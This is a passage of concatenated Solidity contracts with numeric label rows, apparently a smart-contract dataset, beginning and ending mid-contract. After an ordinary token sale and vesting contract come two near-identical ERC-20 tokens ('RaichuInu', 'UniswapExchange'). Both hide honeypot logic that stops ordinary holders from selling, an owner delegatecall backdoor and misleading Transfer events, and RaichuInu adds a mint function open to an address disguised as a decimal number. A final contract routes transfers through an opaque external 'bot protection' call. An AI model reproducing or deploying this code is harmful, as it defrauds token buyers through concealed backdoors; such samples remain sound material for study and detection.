if (msg.sender != owner) {
revert();
}
_;
}
modifier onlyOwnerCandidate() {
if (msg.sender != newOwnerCandidate) {
revert();
}
_;
}
function requestOwnershipTransfer(address _newOwnerCandidate) external onlyOwner {
require(_newOwnerCandidate != address(0));
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
function acceptOwnership() external onlyOwnerCandidate {
address previousOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = address(0);
OwnershipTransferred(previousOwner, owner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract TokenHolder is Ownable {
function transferAnyERC20Token(address _tokenAddress, uint256 _amount) onlyOwner returns (bool success) {
return ERC20(_tokenAddress).transfer(owner, _amount);
}
}
contract BlokToken is Ownable, BasicToken, TokenHolder {
using SafeMath for uint256;
string public constant name = "Blok";
string public constant symbol = "BLO";
uint8 public constant decimals = 18;
bool public isMinting = true;
event MintingEnded();
modifier onlyDuringMinting() {
require(isMinting);
_;
}
modifier onlyAfterMinting() {
require(!isMinting);
_;
}
function mint(address _to, uint256 _amount) external onlyOwner onlyDuringMinting {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0x0, _to, _amount);
}
function endMinting() external onlyOwner {
if (isMinting == false) {
return;
}
isMinting = false;
MintingEnded();
}
function approve(address _spender, uint256 _value) public onlyAfterMinting returns (bool) {
return super.approve(_spender, _value);
}
function transfer(address _to, uint256 _value) public onlyAfterMinting returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyAfterMinting returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract BlokTokenSale is Ownable, TokenHolder {
using SafeMath for uint256;
BlokToken public blok;
VestingTrustee public trustee;
address public fundingRecipient;
uint256 public constant TOKEN_UNIT = 10 ** 18;
uint256 public constant MAX_TOKENS = 360000000 * TOKEN_UNIT;
uint256 public constant MAX_TOKENS_SOLD = 234000000 * TOKEN_UNIT;
uint256 public constant BLO_PER_WEI = 5700;
uint256 public constant SALE_DURATION = 30 days;
uint256 public startTime;
uint256 public endTime;
uint256 public tokensSold = 0;
uint256 public constant TIER_1_CAP = 20000 ether;
mapping (address => uint256) public participationHistory;
mapping (address => uint256) public participationCaps;
uint256 public hardParticipationCap = uint256(-1);
struct TokenGrant {
uint256 value;
uint256 startOffset;
uint256 cliffOffset;
uint256 endOffset;
uint256 installmentLength;
uint8 percentVested;
}
address[] public tokenGrantees;
mapping (address => TokenGrant) public tokenGrants;
uint256 public lastGrantedIndex = 0;
uint256 public constant MAX_TOKEN_GRANTEES = 100;
uint256 public constant GRANT_BATCH_SIZE = 10;
address public constant RESERVE_TOKENS = 0xA67E1c56A5e0363B61a23670FFC0FcD8F09f178d;
address public constant TEAM_WALLET = 0x52aA6A62404107742ac01Ff247ED47b49b16c40A;
address public constant BOUNTY_WALLET = 0xCf1e64Ce2740A03192F1d7a3234AABd88c025c4B;
event TokensIssued(address indexed _to, uint256 _tokens);
modifier onlyDuringSale() {
require(!saleEnded() && now >= startTime);
_;
}
modifier onlyAfterSale() {
require(saleEnded());
_;
}
function BlokTokenSale(address _fundingRecipient, uint256 _startTime) {
require(_fundingRecipient != address(0));
require(_startTime > now);
blok = new BlokToken();
trustee = new VestingTrustee(blok);
fundingRecipient = _fundingRecipient;
startTime = _startTime;
endTime = startTime + SALE_DURATION;
initTokenGrants();
}
function initTokenGrants() private onlyOwner {
tokenGrantees.push(RESERVE_TOKENS);
tokenGrants[RESERVE_TOKENS] = TokenGrant(MAX_TOKENS.mul(18).div(100), 0, 0, 10 days, 1 days, 0);
tokenGrantees.push(TEAM_WALLET);
tokenGrants[TEAM_WALLET] = TokenGrant(MAX_TOKENS.mul(13).div(100), 0, 0, 10 days, 1 days, 0);
tokenGrantees.push(BOUNTY_WALLET);
tokenGrants[BOUNTY_WALLET] = TokenGrant(MAX_TOKENS.mul(4).div(100), 0, 0, 10 days, 1 days, 0);
}
function addTokenGrant(address _grantee, uint256 _value) external onlyOwner {
require(_grantee != address(0));
require(_value > 0);
require(tokenGrantees.length + 1 <= MAX_TOKEN_GRANTEES);
require(tokenGrants[_grantee].value == 0);
for (uint i = 0; i < tokenGrantees.length; i++) {
require(tokenGrantees[i] != _grantee);
}
tokenGrantees.push(_grantee);
tokenGrants[_grantee] = TokenGrant(_value, 0, 1 years, 1 years, 1 days, 50);
}
function deleteTokenGrant(address _grantee) external onlyOwner {
require(_grantee != address(0));
for (uint i = 0; i < tokenGrantees.length; i++) {
if (tokenGrantees[i] == _grantee) {
delete tokenGrantees[i];
break;
}
}
delete tokenGrants[_grantee];
}
function setParticipationCap(address[] _participants, uint256 _cap) private onlyOwner {
for (uint i = 0; i < _participants.length; i++) {
participationCaps[_participants[i]] = _cap;
}
}
function setTier1Participants(address[] _participants) external onlyOwner {
setParticipationCap(_participants, TIER_1_CAP);
}
function setHardParticipationCap(uint256 _cap) external onlyOwner {
require(_cap > 0);
hardParticipationCap = _cap;
}
function () external payable onlyDuringSale {
create(msg.sender);
}
function create(address _recipient) public payable onlyDuringSale {
require(_recipient != address(0));
uint256 weiAlreadyParticipated = participationHistory[msg.sender];
uint256 participationCap = SafeMath.min256(TOKEN_UNIT.mul(15).add(participationCaps[msg.sender]), hardParticipationCap);
uint256 cappedWeiReceived = SafeMath.min256(msg.value, participationCap.sub(weiAlreadyParticipated));
require(cappedWeiReceived > 0);
uint256 weiLeftInSale = MAX_TOKENS_SOLD.sub(tokensSold).div(BLO_PER_WEI);
uint256 weiToParticipate = SafeMath.min256(cappedWeiReceived, weiLeftInSale);
participationHistory[msg.sender] = weiAlreadyParticipated.add(weiToParticipate);
fundingRecipient.transfer(weiToParticipate);
uint256 tokensLeftInSale = MAX_TOKENS_SOLD.sub(tokensSold);
uint256 tokensToIssue = weiToParticipate.mul(BLO_PER_WEI);
if (tokensLeftInSale.sub(tokensToIssue) < BLO_PER_WEI) {
tokensToIssue = tokensLeftInSale;
}
tokensSold = tokensSold.add(tokensToIssue);
issueTokens(_recipient, tokensToIssue);
uint256 refund = msg.value.sub(weiToParticipate);
if (refund > 0) {
msg.sender.transfer(refund);
}
}
function finalize() external onlyAfterSale onlyOwner {
if (!blok.isMinting()) {
revert();
}
require(lastGrantedIndex == tokenGrantees.length);
blok.endMinting();
}
function grantTokens() external onlyAfterSale onlyOwner {
uint endIndex = SafeMath.min256(tokenGrantees.length, lastGrantedIndex + GRANT_BATCH_SIZE);
for (uint i = lastGrantedIndex; i < endIndex; i++) {
address grantee = tokenGrantees[i];
TokenGrant memory tokenGrant = tokenGrants[grantee];
uint256 tokensGranted = tokenGrant.value;
uint256 tokensVesting = tokensGranted.mul(tokenGrant.percentVested).div(100);
uint256 tokensIssued = tokensGranted.sub(tokensVesting);
if (tokensIssued > 0) {
issueTokens(grantee, tokensIssued);
}
if (tokensVesting > 0) {
issueTokens(trustee, tokensVesting);
trustee.grant(grantee, tokensVesting, now.add(tokenGrant.startOffset), now.add(tokenGrant.cliffOffset),
now.add(tokenGrant.endOffset), tokenGrant.installmentLength, true);
}
lastGrantedIndex++;
}
}
function issueTokens(address _recipient, uint256 _tokens) private {
blok.mint(_recipient, _tokens);
TokensIssued(_recipient, _tokens);
}
function saleEnded() private constant returns (bool) {
return tokensSold >= MAX_TOKENS_SOLD || now >= endTime;
}
function requestBlokTokenOwnershipTransfer(address _newOwnerCandidate) external onlyOwner {
blok.requestOwnershipTransfer(_newOwnerCandidate);
}
function acceptBlokTokenOwnership() external onlyOwner {
blok.acceptOwnership();
}
function requestVestingTrusteeOwnershipTransfer(address _newOwnerCandidate) external onlyOwner {
trustee.requestOwnershipTransfer(_newOwnerCandidate);
}
function acceptVestingTrusteeOwnership() external onlyOwner {
trustee.acceptOwnership();
}
}
contract VestingTrustee is Ownable {
using SafeMath for uint256;
BlokToken public blok;
struct Grant {
uint256 value;
uint256 start;
uint256 cliff;
uint256 end;
uint256 installmentLength;
uint256 transferred;
bool revokable;
}
mapping (address => Grant) public grants;
uint256 public totalVesting;
event NewGrant(address indexed _from, address indexed _to, uint256 _value);
event TokensUnlocked(address indexed _to, uint256 _value);
event GrantRevoked(address indexed _holder, uint256 _refund);
function VestingTrustee(BlokToken _blok) {
require(_blok != address(0));
blok = _blok;
}
function grant(address _to, uint256 _value, uint256 _start, uint256 _cliff, uint256 _end,
uint256 _installmentLength, bool _revokable)
external onlyOwner {
require(_to != address(0));
require(_to != address(this));
require(_value > 0);
require(grants[_to].value == 0);
require(_start <= _cliff && _cliff <= _end);
require(_installmentLength > 0 && _installmentLength <= _end.sub(_start));
require(totalVesting.add(_value) <= blok.balanceOf(address(this)));
grants[_to] = Grant({
value: _value,
start: _start,
cliff: _cliff,
end: _end,
installmentLength: _installmentLength,
transferred: 0,
revokable: _revokable
});
totalVesting = totalVesting.add(_value);
NewGrant(msg.sender, _to, _value);
}
function revoke(address _holder) public onlyOwner {
Grant memory grant = grants[_holder];
require(grant.revokable);
uint256 refund = grant.value.sub(grant.transferred);
delete grants[_holder];
totalVesting = totalVesting.sub(refund);
blok.transfer(msg.sender, refund);
GrantRevoked(_holder, refund);
}
function vestedTokens(address _holder, uint256 _time) external constant returns (uint256) {
Grant memory grant = grants[_holder];
if (grant.value == 0) {
return 0;
}
return calculateVestedTokens(grant, _time);
}
function calculateVestedTokens(Grant _grant, uint256 _time) private constant returns (uint256) {
if (_time < _grant.cliff) {
return 0;
}
if (_time >= _grant.end) {
return _grant.value;
}
uint256 installmentsPast = _time.sub(_grant.start).div(_grant.installmentLength);
uint256 vestingDays = _grant.end.sub(_grant.start);
return _grant.value.mul(installmentsPast.mul(_grant.installmentLength)).div(vestingDays);
}
function unlockVestedTokens() external {
Grant storage grant = grants[msg.sender];
require(grant.value != 0);
uint256 vested = calculateVestedTokens(grant, now);
if (vested == 0) {
return;
}
uint256 transferable = vested.sub(grant.transferred);
if (transferable == 0) {
return;
}
grant.transferred = grant.transferred.add(transferable);
totalVesting = totalVesting.sub(transferable);
blok.transfer(msg.sender, transferable);
TokensUnlocked(msg.sender, transferable);
}
} | 1 | 2,907 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RaichuInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,581 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,368 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
